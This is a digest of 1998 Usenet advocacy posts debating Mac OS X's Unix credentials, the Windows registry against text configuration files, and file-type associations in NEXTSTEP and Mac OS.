Message-ID: <7571cf$os3$7@blue.hex.net>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com>
NNTP-Posting-Date: 16 Dec 1998 01:11:43 GMT
On 14 Dec 1998 20:05:26 GMT, Don Yacktman <don@misckit.com> wrote:
>Each application "registers" that it can handle a specific file "type". File
>"types" are determined by their extension--which is defined by WorkSpace.app
>as the portion of the file name will follows the last period (".") in the
>filename. So the extension is NOT limited to three letters, at least under
>NEXTSTEP, OPENSTEP, Rhapsody, Mac OS X, etc. You might have a problem if you
>put YB atop an OS that supports only three letter extensions, but the long
>filename stuff in Win 95/98/NT seems to remove that problem for YB/Windows.
Note that many UNIX systems provide a library they call "magic" (see the
manual page for "magic," often in section 4...) which examines the
beginning of a file and matches it against "signature" information in
/etc/magic.
One would, for instance, consider that if a file begins with <HTML> or
<html>, it is very likely an HTML file. Reasonable signatures are
available for a wide variety of sorts of files, including many document
formats, binary executables, shell scripts, and the likes, which might
all loosely be considered "document formats."
Methings it would make more sense to double indirect this by joining
such signatures with an "application registry" wherein applications
would identify what sorts of "document types" they are able to handle.
Thus, given a file, one would run "file" on it to determine the format.
FILE=/home/cbbrowne/myfile.whatever
FILETYPE=`file $FILE | cut -d ':' -f 2`
Then, look up applications in the application registry...
APPS=`grep ':$FILETYPE' /etc/appregistry`
Note that this has the potential to return multiple applications.
There is then a need to pare APPS down to a single selection.
One approach is to simply take the first one.
Another is to require the user to select one of the applications.
Still another is to put some sort of priority information into the
registry, and thus at least provide an order so that one application
might prove preferable.
On a multiple-button mouse, this would mean that one might right-click
on an object to get a menu of "things to do with the object."
--
"Even more amazing was the realization that God has Internet access. I
wonder if He has a full newsfeed?" (By Matt Welsh)
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/lsf.html>
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 16 Dec 1998 13:11:05 GMT
Organization: Semplice Software
Message-ID: <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com>
In article <74oj9d$9d9$1@nnrp1.dejanews.com>, agave_@hotmail.com wrote:
>
> I still wouldn't worry then... I have the impression that Yellow will
> not be pushed (or even mentioned much) until after MacOS X is firmly
> entrenched with Apple's current user base (sometime in 2000).
>
I'll believe it when I see it, which is probably never.
TechWeb is reporting that Apple will offer LinuxPPC as a the server
option. Don Crabb says the Apple Store is dumping WebObject for SAP.
MacKiDo is telling the world that multitasking is "not important".
Brace yourself for a deafening lack of good news at MacWorld. It's
business as usual. It's the same old Apple. I'm outta here.
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 02:20:12 GMT
Organization: Indiana University, Bloomington
Message-ID: <7575cs$lhr$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <7523tc$co2$7@hecate.umd.edu> <756j4t$ipl$1@flotsam.uits.indiana.edu> <757356$l89$3@hecate.umd.edu>
In article <757356$l89$3@hecate.umd.edu>,
David T. Wang <davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu> wrote:
>Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>: David T. Wang <davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu> wrote:
>: >Joe Ragosta (joe.ragosta@dol.net) wrote:
>: >: In article <3670B38C.812ACA60@nstar.net>, "Michael J. Peck"
>: >: <mjpeck@nstar.net> wrote:
>: >: > Gregory Loren Hansen wrote:
>: >: >
>: >: > [cut]
>: >: >
>: >: > > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: >: > > faster because Apple is bigger than any single Unix vendor.
>: >: >
>: >: > MacOS X could be a good Unix, but it probably won't. The FAQ stresses
>: >: > that it is not, in Apple's opinion, a traditional Unix system. That's
>: >: > not conclusive, but it certainly raises some disappointing
>: >: > possibilities.
>: >
>: >: Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
>: >
>: >: AFAIK, Mac OS X will have full BSD Unix support.
>: >
>: >: My guess is that it will be optimized for ease of use. If you want balls
>: >: to the walls maximum performance, you're probably better off with a system
>: >: like Linux or a commercial Unix. But if you want a combination of good
>: >: performance, ease of use, and features, it should be a good alternative.
>: >
>: >What the heck is a "good unix"? What is a "bad unix"? And other than
>: >the GUI (which NeXTStep already had) What "ease of use" features could
>: >they add to "unix"? This is all very strange to me.
>
>: I think in the context of this discussion, a "good Unix" is one that an
>: administrator with experience in Linux, HP-UX, Solaris, SCO, and/or other
>: common Unices can sit down in front of and, well, administer. He should
>: recognize the file system from the first time he types ls. It should
>: have all the tools he is familiar with, the tools should be in all the
>: places he expects to find them, and they should act the way he expects
>: them to act.
>
>: It is said (in the book _The Tao of Programming_) that a program should
>: follow the "law of least astonishment". That means the program should act
>: in a manner that astonishes the user the least. A Unix should also follow
>: the law of least astonishment, acting in a manner that astonishes the
>: administrator the least. BSD and NextStep are a good foundation. If
>: Apple's Unix will only follow the law of least astonishment, I'm sure it
>: will be a good Unix in any sense you care to name.
>
>Well, as you might have discovered, the definition of a "good unix"
>isn't universal. I've used with a few year's experience Solaris/SunOS,
>AIX, NeXTStep, and a little bit of Linux and FreeBSD. What I would want
>would be, as Mr Peck as put it, availability of apps, or, as I might
>put it, ease of porting. (you may call it law of least astonishment if
>you like) various unices have their respective strengths and weaknesses,
>but It all comes down to a few things as far as I am concerned.
>
>1. Stability.
> (I used to be able to take down SunOS with some regularity. try as I
> might, I cannot take down AIX, nor have I seen anyone take down AIX,
> and that's with some serious pounding.)
This makes it a better Unix. When I gave the law of least astonishment as
a criterion, I was thinking more in terms of it having any chance at all
of diffusing into any Unix-oriented work environments. There's a lot of
things Apple could potentially do, like remove all the shell tools and
rework the file structure so it looks like traditional MacOS. And that
would completely blow MacOS X's chances before we even look at things like
stability.
>2. Availability of Apps/ease of porting.
> If we're talking about NeXTStep, it wasn't very good in this aspect.
> Perhaps you can attribute this to my lack of hacking skills, but I
> had more difficult time working to get things such as Perl running
> properly under NeXTStep than Solaris/SunOS. I complained to a
> friend of mine, and he muttered "bastardized BSD". However, this
> was a good 4 years ago, so things could've changed dramatically for
> better/worse.
I've seen it described as "almost POSIX". Still, even being a bastardized
BSD will help. Carbon wouldn't hurt, either.
>3. Commonality with other unices. This is also sort of tied to your
> "law of least astonishment" thing above. If I used some features
> that I like in most unices, I'd like that to be there when I use
> the "good unix". What immediately breaks MacOS X with other unices
> is ofcourse the GUI. While this is necessary for the MacOS market,
> it separates MacOS X from other "good unix".
If MacOS X is at all Unixy, then the shell should be easy to replace. You
might have to get your X libraries from a third party, which I think would
be a mistake on Apple's part. But shouldn't it still be fairly routine to
install KDE or something? How was NeXT in that respect?
>IMO, even if my criteria are accepted, we still cannot judge MacOS X
>as a "good unix" or not, since all we have to look at is NeXTStep,
>and Apple/SJ may have added/removed features that would make certain
>points completely moot. I think that all we can do is wait and see.
Yeah, that's the one peice of advice that everyone must agree on. The
only way to know for sure is to wait and see.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: westprog@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 13:17:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <758bsk$bic$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com>
In article <KgAd2.393$eB2.831@news14.ispnews.com>,
joecosby@rycnun.seatac.net (Joe Cosby) wrote:
> ** To reply in e-mail, remove "rycnun." from address **
[sensible observations on registries snipped]
> Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
> in the root install directory of the app.
>
> I have a very hard time seeing an advantage to a monolithic registry, and
> many disadvantages.
>
> Doesn't everybody here back up their important data? Probably, and why?
> Because we've learned that there is always a risk that data will be
> corrupted. But how exactly do you back up the registry? If my application
> gets corrupted, I can just reload the data from the backup. But what if
> my registry gets corrupted?
This is of course the main advantage of a registry. Suppose that you install
a new application on your system, or add a device, and the system stops
working correctly. The registry can be rolled back to the point before the
installation, and all the settings restored. The user settings can be easily
ported between different machines, while common hardware setups can be
duplicated independently. To me, this seems to be an obvious solution.
The Unix alternative - a huge array of assorted files in assorted formats in
various directories - doesn't seem to be an attractive alternative. What do
you do when the system stops working properly?
The use of a database-type format, rather then a text file, makes corruption
of the registry vastly less likely. If a situation arose where the registry
was seriously corrupted (rather than simply having incorrect data entered)
the likely cause would be sufficient to hose the disk under any
circumstances.
> To me, a monolithic registry is the height of stupidity. It is one of the
> main reasons I hope I never wind up buying a Wintel.
> Joe Cosby
--
J.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Date: Wed, 16 Dec 1998 08:35:15 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Message-ID: <joe.ragosta-1612980835150001@elk44.dol.net>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <36750259.171E58DC@ix.netcom.com> <757gbp$5st@news1.panix.com>
In article <757gbp$5st@news1.panix.com>, sal@panix.com wrote:
> On Mon, 14 Dec 1998 06:19:37 -0600, Tim Kelley <tpkelley@ix.netcom.com> wrote:
> >The Open Source browser (ver 5) has not been released yet, so your point
> >is meaningless. It scheduled for release mid-next-year, so check back
> >then. ver 4x is still a bloated crap-hog.
>
> I would go along with this if I thought the best product always wins; but
> I don't.
>
> I don't doubt that NN5 will be great. What I do doubt is that it will
> save Netscape.
In case you're just waking from your long winter's nap, let me fill you
in. There is no more Netscape to save.
--
Regards,
Joe Ragosta
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 14:40:44 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3677c55f.1199644@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet>
On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
jedi@dementia.mishnet () wrote:
> It's too easy to corrupt, it's not easy enough to
> restore & too few tools are available to make up
> for any of it's shortcomings.
I hosed my registry good (doing something I shouldn't have been doing)
When Win95 rebooted, it told me there was a problem with the registry
and that it will restore the last known good registry. It rebooted
and Win95 came up looking exactly as it did before and all my
applications worked.
So what's so hard about restoring the registry?
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 14:54:30 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3677c79f.1775312@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com>
On Tue, 15 Dec 1998 21:12:10 GMT, in comp.os.ms-windows.advocacy
joecosby@rycnun.seatac.net (Joe Cosby) wrote:
>Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
>in the root install directory of the app.
The registry is for storing information to be shared across all
applications. How does an application know what other apps are
available if there isn't a central listing of available apps?
>But how exactly do you back up the registry?
You can also use regedit to export the current directory to a .REG
file that can be imported back. There are also utilities available
for automated backup of the registry.
> But what if my registry gets corrupted?
Windows will automatically restore the registry from it's own backup
if it gets corrupt.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 16 Dec 1998 14:58:30 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <758hqm$hev$1@sun27.hrz.tu-darmstadt.de>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net>
hugh@damnspam.semplicesoft.com (Hugh Johnson) wrote:
>TechWeb is reporting that Apple will offer LinuxPPC as a the server
>option. Don Crabb says the Apple Store is dumping WebObject for SAP.
>MacKiDo is telling the world that multitasking is "not important".
Oh, yeah.. right. Next thing, Don Crabb will tell us that Apple
will abandon the PowerPC in favor of Intel Deceleron. Come on..
(By they way, there's a WO adaptor for SAP)
Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Cc: michael.peck@ericsson.com
Organization: needs one
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com>
<F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet>
<3676BE9A.D76FE8DE@ericsson.com>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 15:14:31 GMT
In <3676BE9A.D76FE8DE@ericsson.com> Michael Peck wrote:
> I will affirm this. The Linux community will not accept "black box"
> solutions.
Fair enough, I think that basically ends the thread. Apple likely will
not do either in the near future.
Windows users have no such issues, thus it seems that's a better place to
spend their efforts.
Maury
From: JAD <JAD@dannet.dk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 16:20:35 +0100
Organization: Customer at Tele Danmark Erhverv
Message-ID: <3677CFC3.529A066D@dannet.dk>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <758bsk$bic$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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westprog@my-dejanews.com wrote:
>
> [...]
> The Unix alternative - a huge array of assorted files in assorted formats in
> various directories - doesn't seem to be an attractive alternative. What do
> you do when the system stops working properly?
>
Hmm... I have now been working for a while with programming (~15 years)
on
different systems (among others UNIXes, Windows, OS/2 and DOS). Now that
you
ask, I have tried to recall an episode that involved 'the UNIX system
not
working properly', but I honestly can't think of any. I know that there
are
people who have experienced such things, but I'm not one of them. I
suspect
you won't be surprised to hear that I can remember many situations where
Windows (2.x, 3.x, 95, NT), OS/2 or DOS didn't work properly on the
system
level.
So what can I say? In UNIX there are many tools that can help in
debugging
just about anything in the system - I guess that's what people use when
things in UNIX get stuck.
> The use of a database-type format, rather then a text file, makes corruption
> of the registry vastly less likely. If a situation arose where the registry
> was seriously corrupted (rather than simply having incorrect data entered)
> the likely cause would be sufficient to hose the disk under any
> circumstances.
>
I think I must disagree on this - firstly, the probability of having a
file
corrupted doesn't depend on the internal formatting of the file.
Secondly,
the structure of a binary file is almost invariably more comples than
the
structure of a text file - a text record is a sequence of ASCII
characters
followed by an end-of-record marker, whereas a binary record usually
consists
of several binary fields with no seperators between fields or records.
This
bigger complexity makes a binary file more vulnerable to corruption.
Finally,
a text file can always be edited with any of a number of common text
editors,
whereas a binary file needs a special purpose tool - but what if the
tool
isn't able to read your binary file because something inside is corrupt?
I
have tried that too many times - so I appreciate my text based
configuration
files.
/jan
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 15:19:48 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3677CF94.CA4A5432@digiscape.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com>
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Willy wrote:
>
> On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
> jedi@dementia.mishnet () wrote:
>
> > It's too easy to corrupt, it's not easy enough to
> > restore & too few tools are available to make up
> > for any of it's shortcomings.
>
> I hosed my registry good (doing something I shouldn't have been doing)
> When Win95 rebooted, it told me there was a problem with the registry
> and that it will restore the last known good registry. It rebooted
> and Win95 came up looking exactly as it did before and all my
> applications worked.
>
> So what's so hard about restoring the registry?
Please, send me a copy of your CD. One time I installed a game and then
uninstalled it later. Windows hickuped. I then changed my video card
drivers. When I restarted, Windows asked me for my registrtion key (no
joke!). I hit cancel and it said 'Windows cannot start you computer, hit
OK to shut down'. I hit cancel and it shut down anyway. Aside from that,
the windows registry has screwed itself up in other ways at least 10
times.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 15:21:04 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3677CFE0.1FDBCD8@digiscape.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <758bsk$bic$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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westprog@my-dejanews.com wrote:
What do
> you do when the system stops working properly?
>
It doesn't.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 15:24:53 GMT
Organization: Primenet (602)416-7000
Message-ID: <758jc5$po6$1@nnrp03.primenet.com>
References: <adtF3sBG8.Jss@netcom.com> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet> <3676BE9A.D76FE8DE@ericsson.com> <F42D08.916@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: In <3676BE9A.D76FE8DE@ericsson.com> Michael Peck wrote:
: > I will affirm this. The Linux community will not accept "black box"
: > solutions.
: Fair enough, I think that basically ends the thread. Apple likely will
: not do either in the near future.
Should we call up Oracle and tell them to cancel their projects?
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 15:43:57 GMT
Organization: Primenet (602)416-7000
Message-ID: <758kft$po6$2@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <754lhd$gi1$15@blue.hex.net> <757gfs$5td@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: [...] Right now Apple should be working on OSX and giving its Mac users
: a reason to buy new Macs.
Strange news on http://www.macosrumors.com
------------------------------------------
"MacOS X and Linux - Apple is proposing a UNIX binary format and
submitting it to the ISO later this month. This will eliminate one major
hassle of UNIX -- having to download source and compile it. This is a
major stride towards making UNIX - including Linux - more universal. Apple
is also working to license Carbon APIs and YellowBox to all major UNIX
versions... This doesn't mean that Apple is giving away MacOS X, just the
support necessary to run MacOS X applications. No source code will be
given."
My editorial comments
---------------------
It seems kind of late to start looking for Carbon and YB licensees.
Do you think they'll return Be's phone calls if they ask for one of these
licenses?
John
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F42EE9.9qG@T-FCN.Net>
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Cc: jjens@primenet.com
Organization: needs one
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com>
<F40s2z.9EC@T-FCN.Net> <757d6m$i7a$1@nnrp03.primenet.com>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 15:44:32 GMT
In <757d6m$i7a$1@nnrp03.primenet.com> John Jensen wrote:
> I took some time out to do a dejanews search.
So did I.
> It looks to me like KDE
> started in October of 1996. That's only a two month headstart on
> Rhapsody. I think I see a lot of progress for two years out from the
> starting blocks. Your mileage apparently varies.
Rhapsody uses a UI pioneered on the Lisa in the very early 1980's. I
don't consider other copies of this interface, including Rhapsody, to be
"groundbreaking". This is why I characterize current efforts as "me too".
Maury
From: Harald Ellmann <ellmann@msi.se>
Newsgroups: comp.sys.next.advocacy
Subject: RFI ranting...again!
Date: Wed, 16 Dec 1998 16:53:00 +0100
Organization: Stockholm University
Distribution: world
Message-ID: <3677D64D.3EE2DFFE@msi.se>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------BAE9A8FBA400925D979351B2"
This is a multi-part message in MIME format.
--------------BAE9A8FBA400925D979351B2
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Message-ID: <3677D43C.2840D969@msi.se>
Date: Wed, 16 Dec 1998 16:44:09 +0100
From: Harald Ellmann <ellmann@msi.se>
X-Mailer: Mozilla 4.05 (Macintosh; I; PPC)
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy
To: comp.sys.next.advocacy@msi.se
Subject: RFI ranting...again!
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
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Hej!
I rellay am wondering why MacWeek has Robert Morgan of RFI as a
contributor. Have you read his latest column? It´s full of nonsense and
shows what 2 REAL reality distortion field is. Some excerpts.
"It's intriguing: While RFI has spent years trying to prepare people for
this eventuality, we have also been excoriated and castigated for it.
Why? Because RFI's position has been heresy tofactions promulgating
other scenarios. Three years ago, anyone who opined that Apple and its
technologies would play a major role in the future of the Network
Computer/information appliance revolution would have been hooted off
the stage. (In fact, we were.)"
Yes, sure, he all could foresee everything he predicts (he is predicting
nothing btw) years ago. Did he also predict that Steve Jobs would return
to Apple? Did he predict MacOS X then? I doubt that he even knew what
NeXT was!
Another one
" Am I patting RFI and myself on the back? You bet I am. It's taken a
heck of a long time for the heresies, forecasts et al. to come to
fruition, and I'll stand by the assertions I made on CNBC back in 1995
during the NC feeding frenzy and which were pounced on by others trying
to capitalize on the issue."
Yes, sure. He was right and we were wrong.
Finally he says (as always) that he knows about something but he must
keep silent for know. And maybe he won't write another column this year.
Guess what: After MacWorld Expo he will come and say that all that was
said and presented there was well known by him and as always he made the
right predictions.
What a nitwit.
So, now I feel better. End rant.
Harald
--------------BAE9A8FBA400925D979351B2--
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 16 Dec 98 15:06:22 GMT
Organization: P & L Systems
Message-ID: <3677cc6e.0@stan.astra.co.uk>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net>
<753r26$5e$1@news.xmission.com> <distler-1512981236450001@192.168.0.1>
<SPAMLESSforrest-1512981259380001@term6-32.vta.west.net> <756mf7$rc$2@news.xmission.com>
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Cc: don@misckit.com
In <756mf7$rc$2@news.xmission.com> Don Yacktman wrote:
> Did you read my first post to this thread and not understand it? Did you
> even read it at all?
>
> Go back to the thread: NEXTSTEP, OPENSTEP, and Mac OS X all do this,
> _exactly_. They also do the folder thing you described.
>
<sigh>
Frustrating, isn't it...
But, but but... Yes it does that. But, but, but...
Best wishes,
mmalc.
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Wed, 16 Dec 1998 09:48:24 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1612980948250001@dial-104-21.ots.utexas.edu>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <19981216074540.14116.00000011@ng57.aol.com>, willadams@aol.com
(WillAdams) wrote:
>This is one of the features which I really miss in Mac OS--I'd really like to
>be able to choose when to open an Illustrator file in FreeHand for example.
1) You can always drag the file over the FreeHand icon and it will launch.
(Together with "Spring-loaded" folders for navigating the file system this
is very conveniet.)
2)Use "Snitch", which provided an enhanced GetInfo box. In particular, you
can change the Type and Creator codes for the file.
Snitch is very much like the Inspector tool in the Workspace. You can
view and modify just about anything that is modifiable about the file's
characteristics.
In fact, it's much more convenient to use. Since there's a Contextual Menu
plugin for Snitch, you can bring it up to change the Creator code just by
control-clicking on the file. No trip to the Menu Bar.
So the MacOS provides two *very* easy ways to open an Illustrator file in
Freehand, *without* modifying the default application for other
Illustrator files.
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: malcolm@plsys.co.uk
Organization: needs one
